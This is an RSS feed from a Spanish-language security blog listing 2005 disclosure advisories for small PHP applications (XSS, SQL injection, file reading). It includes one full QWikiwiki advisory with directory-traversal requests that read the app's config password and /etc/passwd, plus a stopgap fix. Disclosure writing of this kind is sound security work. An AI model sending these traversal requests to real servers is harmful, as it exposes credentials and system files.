<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Weblog de Madelman &#187; Vulnerabilidades</title>
	<atom:link href="http://elligre.tk/madelman/index.php/archivos/category/vulnerabilidades/feed/" rel="self" type="application/rss+xml" />
	<link>http://elligre.tk/madelman</link>
	<description>Weblog sobre seguridad</description>
	<lastBuildDate>Wed, 05 Nov 2008 16:10:33 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>es</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Vulnerabilidad en phpEventCalendar</title>
		<link>http://elligre.tk/madelman/index.php/archivos/2005/01/27/vulnerabilidad-en-phpeventcalendar/</link>
		<comments>http://elligre.tk/madelman/index.php/archivos/2005/01/27/vulnerabilidad-en-phpeventcalendar/#comments</comments>
		<pubDate>Thu, 27 Jan 2005 09:27:13 +0000</pubDate>
		<dc:creator>madelman</dc:creator>
				<category><![CDATA[Vulnerabilidades]]></category>

		<guid isPermaLink="false">http://www.elligre.tk/madelman/madelman/index.php/archivos/2005/01/27/vulnerabilidad-en-phpeventcalendar/</guid>
		<description><![CDATA[phpEventCalendar no comprueba el texto que se inserta en el calendario, lo que permite escribir código HTML y Javascript que será ejecutado por cualquier otro usuario que visualize el calendario. 
Advisory: phpeventcalendar.txt (1 KB)
]]></description>
			<content:encoded><![CDATA[<p>phpEventCalendar no comprueba el texto que se inserta en el calendario, lo que permite escribir código HTML y Javascript que será ejecutado por cualquier otro usuario que visualize el calendario. </p>
<p><a href="http://elligre.tk/madelman/advisory/phpeventcalendar.txt">Advisory: phpeventcalendar.txt (1 KB)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://elligre.tk/madelman/index.php/archivos/2005/01/27/vulnerabilidad-en-phpeventcalendar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidad en PHP Gift Registry</title>
		<link>http://elligre.tk/madelman/index.php/archivos/2005/01/16/vulnerabilidad-en-php-gift-registry/</link>
		<comments>http://elligre.tk/madelman/index.php/archivos/2005/01/16/vulnerabilidad-en-php-gift-registry/#comments</comments>
		<pubDate>Sun, 16 Jan 2005 16:56:29 +0000</pubDate>
		<dc:creator>madelman</dc:creator>
				<category><![CDATA[Vulnerabilidades]]></category>

		<guid isPermaLink="false">http://www.elligre.tk/madelman/madelman/index.php/archivos/2005/01/16/vulnerabilidad-en-php-gift-registry/</guid>
		<description><![CDATA[PHPGiftReq no valida los parámetros de entrada, lo que permite la inyección de código SQL y la consecuente modificacion de registros de la base de datos.
Advisory: phpgiftreg.txt (1 KB)
]]></description>
			<content:encoded><![CDATA[<p>PHPGiftReq no valida los parámetros de entrada, lo que permite la inyección de código SQL y la consecuente modificacion de registros de la base de datos.</p>
<p><a href="http://elligre.tk/madelman/advisory/phpgiftreg.txt">Advisory: phpgiftreg.txt (1 KB)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://elligre.tk/madelman/index.php/archivos/2005/01/16/vulnerabilidad-en-php-gift-registry/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidad en Simple PHP Blog</title>
		<link>http://elligre.tk/madelman/index.php/archivos/2005/01/16/vulnerabilidad-en-simple-php-blog/</link>
		<comments>http://elligre.tk/madelman/index.php/archivos/2005/01/16/vulnerabilidad-en-simple-php-blog/#comments</comments>
		<pubDate>Sun, 16 Jan 2005 16:52:40 +0000</pubDate>
		<dc:creator>madelman</dc:creator>
				<category><![CDATA[Vulnerabilidades]]></category>

		<guid isPermaLink="false">http://www.elligre.tk/madelman/madelman/index.php/archivos/2005/01/16/vulnerabilidad-en-simple-php-blog/</guid>
		<description><![CDATA[Simple PHP Blog no comprueba el parametro entry, lo que permite leer ficheros aribitrarios con extensión TXT y la creación de carpetas en las cuales se guardará el contenido del post.
Advisory: sphpblog.txt (1 KB)
]]></description>
			<content:encoded><![CDATA[<p>Simple PHP Blog no comprueba el parametro <em>entry, </em>lo que permite leer ficheros aribitrarios con extensión TXT y la creación de carpetas en las cuales se guardará el contenido del post.</p>
<p><a href="http://elligre.tk/madelman/advisory/sphpblog.txt">Advisory: sphpblog.txt (1 KB)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://elligre.tk/madelman/index.php/archivos/2005/01/16/vulnerabilidad-en-simple-php-blog/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidad en Minis</title>
		<link>http://elligre.tk/madelman/index.php/archivos/2005/01/16/vulnerabilidad-en-minis/</link>
		<comments>http://elligre.tk/madelman/index.php/archivos/2005/01/16/vulnerabilidad-en-minis/#comments</comments>
		<pubDate>Sun, 16 Jan 2005 17:05:30 +0000</pubDate>
		<dc:creator>madelman</dc:creator>
				<category><![CDATA[Vulnerabilidades]]></category>

		<guid isPermaLink="false">http://www.elligre.tk/madelman/madelman/index.php/archivos/2005/01/16/vulnerabilidad-en-minis/</guid>
		<description><![CDATA[Minis no comprueba el parametro month lo que permite la lectura de cualquier fichero con extensión LOG.
Advisory: minis.txt (3 KB)
]]></description>
			<content:encoded><![CDATA[<p>Minis no comprueba el parametro month lo que permite la lectura de cualquier fichero con extensión LOG.</p>
<p><a href="http://elligre.tk/madelman/advisory/minis.txt">Advisory: minis.txt (3 KB)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://elligre.tk/madelman/index.php/archivos/2005/01/16/vulnerabilidad-en-minis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidad en QWikiwiki</title>
		<link>http://elligre.tk/madelman/index.php/archivos/2005/01/07/vulnerabilidad-en-qwikiwiki/</link>
		<comments>http://elligre.tk/madelman/index.php/archivos/2005/01/07/vulnerabilidad-en-qwikiwiki/#comments</comments>
		<pubDate>Fri, 07 Jan 2005 09:30:26 +0000</pubDate>
		<dc:creator>madelman</dc:creator>
				<category><![CDATA[Vulnerabilidades]]></category>

		<guid isPermaLink="false">http://www.elligre.tk/madelman/madelman/index.php/archivos/2005/01/07/vulnerabilidad-en-qwikiwiki/</guid>
		<description><![CDATA[He estado investigando bastante sobre vulnerabilidades en PHP y revisando bastante código en busca de fallos de seguridad. Todas las vulnerabilidades que vaya descubriendo las ire publicando aqui, además de enviarlas a los autores del software y a las listas de seguridad (Bugtraq, SecurityFocus,&#8230;). Aqui va la primera de las vulnerabilidades.
Title: QWikiwiki directory traversal vulnerabilityVulnerability [...]]]></description>
			<content:encoded><![CDATA[<p>He estado investigando bastante sobre vulnerabilidades en PHP y revisando bastante código en busca de fallos de seguridad. Todas las vulnerabilidades que vaya descubriendo las ire publicando aqui, además de enviarlas a los autores del software y a las listas de seguridad (Bugtraq, SecurityFocus,&#8230;). Aqui va la primera de las vulnerabilidades.</p>
<p><strong>Title:</strong> QWikiwiki directory traversal vulnerability<br /><strong>Vulnerability discovery:</strong> Madelman &lt;madelman AT iname.com&gt;<br /><strong>Date:</strong> 01/01/2005<br /><strong>Severity:</strong> Critical</p>
<p><span id="more-110"></span></p>
<p><u>Summary:</u>&nbsp;</p>
<p>QwikiWiki is driven by one core design goal: simplicity. This design goal is codified into three key principles:&nbsp;</p>
<ul>
<li>Self Sufficiency: QwikiWiki requires only a web server and PHP.&nbsp;</li>
<li>Zero-Edit Deployment: QwikiWiki is immediately usable &#8220;out of the box&#8221;.&nbsp;</li>
<li>Minimalist Featureset: QwikiWiki is not everything to everybody. </li>
</ul>
<p>QwikiWiki uses only cookies and the file system, and thus does not require a MySQL server or any other database support. Data is stored in simple text files, and backups are just complete copies of the data directory. Ain&#8217;t nothing fancier than it need be. <br />(from vendor site: <a href="http://www.qwikiwiki.com/">http://www.qwikiwiki.com</a>)</p>
<p>QWikiwiki doesn&#8217;t check the page parameter which allows reading any file </p>
<p>This vulnerability has been tested with QWikiwiki 1.4.1 </p>
<p><u>Details:</u> </p>
<p>If we want to read the password for QWikiwiki: </p>
<p>REQUEST: <a href="http://[server]/qwiki/index.php?page=../_config.php%00">http://[SERVER]/qwiki/index.php?page=../_config.php%00</a> </p>
<p>RETURNS: (looking at source of HTML) </p>
<p>[...] <br />$QW_CONFIG['title'] = &#8220;QwikiWiki&#8221;; <br />$QW_CONFIG['adminName'] = &#8220;David Barrett&#8221;;<br />$QW_CONFIG['adminPassword'] = &#8216;changeme!&#8217; </p>
<p>We can also read any file the webserver has permission to: </p>
<p>REQUEST: <a href="http://[server]/qwiki/index.php?page=../../../../../../etc/passwd%00">http://[SERVER]/qwiki/index.php?page=../../../../../../etc/passwd%00</a> </p>
<p>RESPONSE: </p>
<p>root:x:0:0:root:/root:/bin/bash <br />daemon:x:1:1:daemon:/usr/sbin:/bin/sh <br />bin:x:2:2:bin:/bin:/bin/sh <br />sys:x:3:3:sys:/dev:/bin/sh <br />[...] </p>
<p><u>Solution:</u> </p>
<p>Temporary Fix In file _wikiLib.php substitute </p>
<p>function QWCreateDataPath( $page, $extension ) { <br />return &#8216;data/&#8217;. $page . $extension; <br />}
</p>
<p>with </p>
<p>function QWCreateDataPath( $page, $extension ) { <br />if (strpos($page, &#8220;..&#8221;) === false) { <br />return &#8216;data/&#8217;. $page . $extension; <br />} else { <br />return &#8221;; <br />} } </p>
<p><u>Timeline:</u>&nbsp;</p>
<p>01/01/2005 &#8211; Vulnerability found <br />01/01/2005 &#8211; Vendor contacted <br />01/01/2005 &#8211; Vendor confirmed bug <br />04/01/2005 &#8211; Bug published in vendor page and advisory released </p>
]]></content:encoded>
			<wfw:commentRss>http://elligre.tk/madelman/index.php/archivos/2005/01/07/vulnerabilidad-en-qwikiwiki/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

